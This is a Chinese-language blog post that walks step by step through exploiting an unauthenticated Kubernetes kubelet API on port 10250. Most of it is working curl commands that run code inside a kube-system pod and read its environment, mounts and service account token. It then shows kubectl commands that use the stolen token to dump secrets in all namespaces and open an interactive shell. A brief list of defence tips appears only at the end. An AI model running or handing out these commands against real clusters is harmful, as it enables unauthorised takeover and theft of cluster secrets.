Kubernetes安全漏洞:未授权kubelet API 10250端口令牌窃取与kubectl接管实战

本文详细分析了Kubernetes环境中kubelet API 10250端口的未授权访问漏洞,演示了如何通过该漏洞窃取服务账户令牌,进而使用kubectl工具接管集群的全过程,包含完整的攻击链技术细节。

Kubernetes: 未授权kubelet API 10250端口令牌窃取与kubectl接管

初始攻击向量

通过kube-hunter扫描发现暴露的kubelet API端口(10250),使用curl获取运行中的Pod列表:

1
curl -s https://k8-node:10250/runningpods/

命令执行漏洞利用

构造POST请求在目标Pod中执行命令:

1
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=ls -la /"

典型输出显示容器文件系统结构,确认RCE成功。

凭证收集技术

环境变量检查

1
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=env"

寻找KUBLET_CERTKUBLET_KEYCA_CERT等关键环境变量。

挂载点分析

1
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=mount"

重点关注/var/run/secrets/kubernetes.io/serviceaccount挂载路径。

服务账户令牌提取

1
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

获取JWT格式的服务账户令牌,同时提取CA证书。

Kubernetes API接管

集群侦查

1
kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI... get pods --all-namespaces

列出所有命名空间下的Pod资源。

敏感数据获取

1
kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI... get secrets --all-namespaces

提取集群机密信息。

交互式Shell获取

1
kubectl exec -it metrics-server-v0.2.1-7f8ee58c8f-ab13f --namespace=kube-system --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI... /bin/sh

建立持久化访问通道。

防御建议

  1. 限制kubelet API的网络暴露范围
  2. 启用Kubernetes RBAC严格管控权限
  3. 定期轮换服务账户令牌
  4. 部署网络策略隔离Pod间通信
  5. 监控异常API请求行为
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计